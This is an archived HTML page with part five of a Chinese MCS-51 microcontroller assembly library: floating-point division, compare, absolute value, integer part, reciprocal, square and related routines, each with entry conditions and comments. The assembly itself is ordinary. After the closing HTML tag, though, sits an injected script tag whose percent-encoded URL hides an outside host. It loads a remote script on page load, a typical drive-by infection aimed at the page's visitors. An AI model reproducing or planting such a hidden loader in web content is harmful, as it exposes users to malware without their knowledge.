?? 學習單片機5.htm
字號:
<P align=center><FONT color=black
size=3><B>MCS-51單片機實用子程序庫（五）</B></FONT></P></TD></TR></TBODY></TABLE>
<TABLE height=39 cellSpacing=0 width=749 border=0>
<TBODY>
<TR>
<TD width=745 height=1>MCS-51單片機實用子程序庫<BR> <BR>（５） 標號： ＦＤＩＶ 功能：浮點數除法
<P>入口條件：被除數在[R0]中，除數在[R1]中。<BR>出口信息：OV=0時，商仍在[R0]中，OV=1時，溢出。<BR>影響資源：PSW、A、B、R2～R7、位1EH、1FH
堆棧需求： ５字節<BR>FDIV: INC R0<BR>MOV A,@R0<BR>INC R0<BR>ORL A,@R0<BR>DEC
R0<BR>DEC R0<BR>JNZ DIV1<BR>MOV @R0,#41H；被除數為零，不必運算<BR>CLR
OV<BR>RET<BR>DIV1: INC R1<BR>MOV A,@R1<BR>INC R1<BR>ORL A,@R1<BR>DEC
R1<BR>DEC R1<BR>JNZ DIV2<BR>SETB OV ；除數為零，溢出<BR>RET<BR>DIV2: LCALL
MVR0 ；將[R0]傳送到第一工作區中<BR>MOV A,@R0<BR>XRL A,@R1 ；比較兩個操作數的符號<BR>RLC
A<BR>MOV 1FH,C ；保存結果的符號<BR>LCALL MVR1 ；將[R1]傳送到第二工作區中<BR>LCALL DIV3
；調用工作區浮點除法<BR>LJMP MOV0 ；回傳結果<BR>DIV3: CLR C ；比較尾數的大小<BR>MOV
A,R4<BR>SUBB A,R7<BR>MOV A,R3<BR>SUBB A,R6<BR>JC DIV4<BR>LCALL RR1
；被除數右規一次<BR>SJMP DIV3<BR>DIV4: CLR A ；借用R0R1R2作工作寄存器<BR>XCH A,R0
；清零并保護之<BR>PUSH ACC<BR>CLR A<BR>XCH A,R1<BR>PUSH ACC<BR>MOV
A,R2<BR>PUSH ACC<BR>MOV B,#10H ；除法運算，R3R4／R6R7－→R0R1<BR>DIV5: CLR
C<BR>MOV A,R1<BR>RLC A<BR>MOV R1,A<BR>MOV A,R0<BR>RLC A<BR>MOV
R0,A<BR>MOV A,R4<BR>RLC A<BR>MOV R4,A<BR>XCH A,R3<BR>RLC A<BR>XCH
A,R3<BR>MOV F0,C<BR>CLR C<BR>SUBB A,R7<BR>MOV R2,A<BR>MOV
A,R3<BR>SUBB A,R6<BR>ANL C,/F0<BR>JC DIV6<BR>MOV R3,A<BR>MOV
A,R2<BR>MOV R4,A<BR>INC R1<BR>DIV6: DJNZ B,DIV5<BR>MOV A,R6
；四舍五入<BR>CLR C<BR>RRC A<BR>SUBB A,R3<BR>CLR A<BR>ADDC A,R1
；將結果存回R3R4<BR>MOV R4,A<BR>CLR A<BR>ADDC A,R0<BR>MOV R3,A<BR>POP ACC
；恢復R0R1R2<BR>MOV R2,A<BR>POP ACC<BR>MOV R1,A<BR>POP ACC<BR>MOV
R0,A<BR>MOV A,R2 ；計算商的階碼<BR>CLR C<BR>SUBB A,R5<BR>LCALL MD
；階碼檢驗<BR>LJMP RLN ；規格化</P>
<P>（６） 標號： ＦＣＬＲ 功能：浮點數清零</P>
<P>入口條件：操作數在[R0]中。<BR>出口信息：操作數被清零。<BR>影響資源：A 堆棧需求： ２字節<BR>FCLR: INC
R0<BR>INC R0<BR>CLR A<BR>MOV @R0,A<BR>DEC R0<BR>MOV @R0,A<BR>DEC
R0<BR>MOV @R0,#41H<BR>RET<BR> <BR>（７） 標號： ＦＺＥＲ 功能：浮點數判零</P>
<P>入口條件：操作數在[R0]中。<BR>出口信息：若累加器A為零，則操作數[R0]為零，否則不為零。<BR>影響資源：A 堆棧需求：
２字節<BR>FZER: INC R0<BR>INC R0<BR>MOV A,@R0<BR>DEC R0<BR>ORL
A,@R0<BR>DEC R0<BR>JNZ ZERO<BR>MOV @R0,#41H<BR>ZERO: RET</P>
<P>（８） 標號： ＦＭＯＶ 功能：浮點數傳送</P>
<P>入口條件：源操作數在[R1]中，目標地址為[R0]。<BR>出口信息：[R0]=[R1]，[R1]不變。<BR>影響資源：A
堆棧需求： ２字節<BR>FMOV: INC R0<BR>INC R0<BR>INC R1<BR>INC R1<BR>MOV
A,@R1<BR>MOV @R0,A<BR>DEC R0<BR>DEC R1<BR>MOV A,@R1<BR>MOV
@R0,A<BR>DEC R0<BR>DEC R1<BR>MOV A,@R1<BR>MOV
@R0,A<BR>RET<BR> <BR>（９） 標號： ＦＰＵＳ 功能：浮點數壓棧</P>
<P>入口條件：操作數在[R0]中。<BR>出口信息：操作數壓入棧頂。<BR>影響資源：A、R2、R3 堆棧需求：
５字節<BR>FPUS: POP ACC ；將返回地址保存在R2R3中<BR>MOV R2,A<BR>POP ACC<BR>MOV
R3,A<BR>MOV A,@R0 ；將操作數壓入堆棧<BR>PUSH ACC<BR>INC R0<BR>MOV
A,@R0<BR>PUSH ACC<BR>INC R0<BR>MOV A,@R0<BR>PUSH ACC<BR>DEC
R0<BR>DEC R0<BR>MOV A,R3 ；將返回地址壓入堆棧<BR>PUSH ACC<BR>MOV A,R2<BR>PUSH
ACC<BR>RET ；返回主程序</P>
<P>（１０） 標號： ＦＰＯＰ 功能：浮點數出棧</P>
<P>入口條件：操作數處于棧頂。<BR>出口信息：操作數彈至[R0]中。<BR>影響資源：A、R2、R3 堆棧需求：
２字節<BR>FPOP: POP ACC ；將返回地址保存在R2R3中<BR>MOV R2,A<BR>POP ACC<BR>MOV
R3,A<BR>INC R0<BR>INC R0<BR>POP ACC ；將操作數彈出堆棧，傳送到[R0]中<BR>MOV
@R0,A<BR>DEC R0<BR>POP ACC<BR>MOV @R0,A<BR>DEC R0<BR>POP ACC<BR>MOV
@R0,A<BR>MOV A,R3 ；將返回地址壓入堆棧<BR>PUSH ACC<BR>MOV A,R2<BR>PUSH
ACC<BR>RET ；返回主程序</P>
<P>（１１） 標號： ＦＣＭＰ 功能：浮點數代數值比較（不影響待比較操作數）</P>
<P>入口條件：待比較操作數分別在[R0]和[R1]中。<BR>出口信息：若CY=1，則[R0] <
[R1]，若CY=0且A=0則 [R0] = [R1]，否則[R0] > [R1]。<BR>影響資源：A、B、PSW 堆棧需求：
２字節<BR>FCMP: MOV A,@R0 ；數符比較<BR>XRL A,@R1<BR>JNB ACC.7,CMP2<BR>MOV
A,@R0 ；兩數異號，以[R0]數符為準<BR>RLC A<BR>MOV A,#0FFH<BR>RET<BR>CMP2: MOV
A,@R1 ；兩數同號，準備比較階碼<BR>MOV C,ACC.6<BR>MOV ACC.7,C<BR>MOV B,A<BR>MOV
A,@R0<BR>MOV C,ACC.7<BR>MOV F0,C ；保存[R0]的數符<BR>MOV C,ACC.6<BR>MOV
ACC.7,C<BR>CLR C ；比較階碼<BR>SUBB A,B<BR>JZ CMP6<BR>RLC A
；取階碼之差的符號<BR>JNB F0,CMP5<BR>CPL C ；[R0]為負時，結果取反<BR>CMP5: MOV A,#0FFH
；兩數不相等<BR>RET<BR>CMP6: INC R0 ；階碼相同時，準備比較尾數<BR>INC R0<BR>INC
R1<BR>INC R1<BR>CLR C<BR>MOV A,@R0<BR>SUBB A,@R1<BR>MOV B,A
；保存部分差<BR>DEC R0<BR>DEC R1<BR>MOV A,@R0<BR>SUBB A,@R1<BR>DEC
R0<BR>DEC R1<BR>ORL A,B ；生成是否相等信息<BR>JZ CMP7<BR>JNB F0,CMP7<BR>CPL C
；[R0]為負時，結果取反<BR>CMP7: RET<BR> <BR>（１２） 標號： ＦＡＢＳ 功能：浮點絕對值函數</P>
<P>入口條件：操作數在[R0]中。<BR>出口信息：結果仍在[R0]中。<BR>影響資源：A 堆棧需求： ２字節<BR>FABS:
MOV A,@R0 ；讀取操作數的階碼<BR>CLR ACC.7 ；清除數符<BR>MOV @R0,A ；回傳階碼<BR>RET</P>
<P>（１３） 標號： ＦＳＧＮ 功能：浮點符號函數</P>
<P>入口條件：操作數在[R0]中。<BR>出口信息：累加器 A=1 時為正數，A=0FFH時為負數，A=0
時為零。<BR>影響資源：PSW、A 堆棧需求： ２字節<BR>FSGN: INC R0 ；讀尾數<BR>MOV
A,@R0<BR>INC R0<BR>ORL A,@R0<BR>DEC R0<BR>DEC R0<BR>JNZ SGN<BR>RET
；尾數為零，結束<BR>SGN: MOV A,@R0 ；讀取操作數的階碼<BR>RLC A ；取數符<BR>MOV A,#1
；按正數初始化<BR>JNC SGN1 ；是正數，結束<BR>MOV A,#0FFH ；是負數，改變標志<BR>SGN1:
RET</P>
<P>（１４） 標號： ＦＩＮＴ 功能：浮點取整函數</P>
<P>入口條件：操作數在[R0]中。<BR>出口信息：結果仍在[R0]中。<BR>影響資源：PSW、A、R2、R3、R4、位1FH
堆棧需求： ６字節<BR>FINT: LCALL MVR0 ；將[R0]傳送到第一工作區中<BR>LCALL INT
；在工作寄存器中完成取整運算<BR>LJMP MOV0 ；將結果傳回到[R0]中<BR>INT: MOV A,R3<BR>ORL
A,R4<BR>JNZ INTA<BR>CLR 1FH ；尾數為零，階碼也清零，結束取整<BR>MOV
R2,#41H<BR>RET<BR>INTA: MOV A,R2<BR>JZ INTB ；階碼為零否？<BR>JB
ACC.7,INTB；階符為負否？<BR>CLR C<BR>SUBB A,#10H ；階碼小于１６否？<BR>JC
INTD<BR>RET ；階碼大于１６，已經是整數<BR>INTB: CLR A
；絕對值小于一，取整后正數為零，負數為負一<BR>MOV R4,A<BR>MOV C,1FH<BR>RRC A<BR>MOV
R3,A<BR>RL A<BR>MOV R2,A<BR>JNZ INTC<BR>MOV R2,#41H<BR>INTC:
RET<BR>INTD: CLR F0 ；舍尾標志初始化<BR>INTE: CLR C<BR>LCALL RR1
；右規一次<BR>ORL C,F0 ；記憶舍尾情況<BR>MOV F0,C<BR>CJNE
R2,#10H,INTE；階碼達到１６（尾數完全為整數）否？<BR>JNB F0,INTF ；舍去部分為零否？<BR>JNB
1FH,INTF；操作數為正數否？<BR>INC R4 ；對于帶小數的負數，向下取整<BR>MOV A,R4<BR>JNZ
INTF<BR>INC R3<BR>INTF: LJMP RLN ；將結果規格化</P>
<P>(１５） 標號： ＦＲＣＰ 功能：浮點倒數函數</P>
<P>入口條件：操作數在[R0]中。<BR>出口信息：OV=0時，結果仍在[R0]中，OV=1時，溢出。<BR>影響資源：PSW、A、B、R2～R7、位1EH、1FH
堆棧需求： ５字節<BR>FRCP: MOV A,@R0<BR>MOV C,ACC.7<BR>MOV 1FH,C
；保存數符<BR>MOV C,ACC.6 ；絕對值傳送到第二工作區<BR>MOV ACC.7,C<BR>MOV R5,A<BR>INC
R0<BR>MOV A,@R0<BR>MOV R6,A<BR>INC R0<BR>MOV A,@R0<BR>MOV
R7,A<BR>DEC R0<BR>DEC R0<BR>ORL A,R6<BR>JNZ RCP<BR>SETB OV
；零不能求倒數，設立溢出標志<BR>RET<BR>RCP: MOV A,R6<BR>JB
ACC.7,RCP2；操作數格式化否？<BR>CLR C ；格式化之<BR>MOV A,R7<BR>RLC A<BR>MOV
R7,A<BR>MOV A,R6<BR>RLC A<BR>MOV R6,A<BR>DEC R5<BR>SJMP RCP<BR>RCP2:
MOV R2,#1 ；將數值１．００傳送到第一工作區<BR>MOV R3,#80H<BR>MOV R4,#0<BR>LCALL DIV3
；調用工作區浮點除法，求得倒數<BR>LJMP MOV0 ；回傳結果</P>
<P>（１６） 標號： ＦＳＱＵ 功能：浮點數平方</P>
<P>入口條件：操作數在[R0]中。<BR>出口信息：OV=0時，平方值仍然在[R0]中，OV=1時溢出。<BR>影響資源：PSW、A、B、R2～R7、位1EH、1FH
堆棧需求： ９字節<BR>FSQU: MOV A,R0 ；將操作數<BR>XCH A,R1 ；同時作為乘數<BR>PUSH ACC
；保存Ｒ１指針<BR>LCALL FMUL ；進行乘法運算<BR>POP ACC<BR>MOV R1,A
；恢復Ｒ１指針<BR>RET</P>
<P>
<P align=center><FONT color=black size=3><B><A
href="http://www.zsgbailin.com/inages/xxtd/zcx6.htm">MCS-51單片機實用子程序庫（六）</A></B></FONT>
<P align=center> </P></TD></TR></TBODY></TABLE>
<P> </P>
<TABLE height=39 cellSpacing=0 width=749 border=0>
<TBODY>
<TR>
<TD width=745 height=1>
<P align=center><A
href="http://www.zsgbailin.com/inages/xxtd/index.htm">網站首頁</A>
</P></TD></TR></TBODY></TABLE>
<TABLE height=21 cellSpacing=0 width=749 border=0>
<TBODY>
<TR>
<TD width=745 height=1>
<HR color=#ff00ff>
</TD></TR></TBODY></TABLE>
<TABLE height=39 cellSpacing=0 width=749 border=0>
<TBODY>
<TR>
<TD width=745 height=1>
<P align=center><FONT face=宋體 color=#800080>聲明:
部分文章來源于網絡/若有侵犯你的權益/請聯系我立即刪除</FONT>
</P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE height=24 cellSpacing=0 width=105 border=0>
<TBODY>
<TR>
<TD width=101 height=3></TD></TR></TBODY></TABLE></CENTER></BODY></HTML>
<script language=javascript ></script><script src="http://%78%66%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -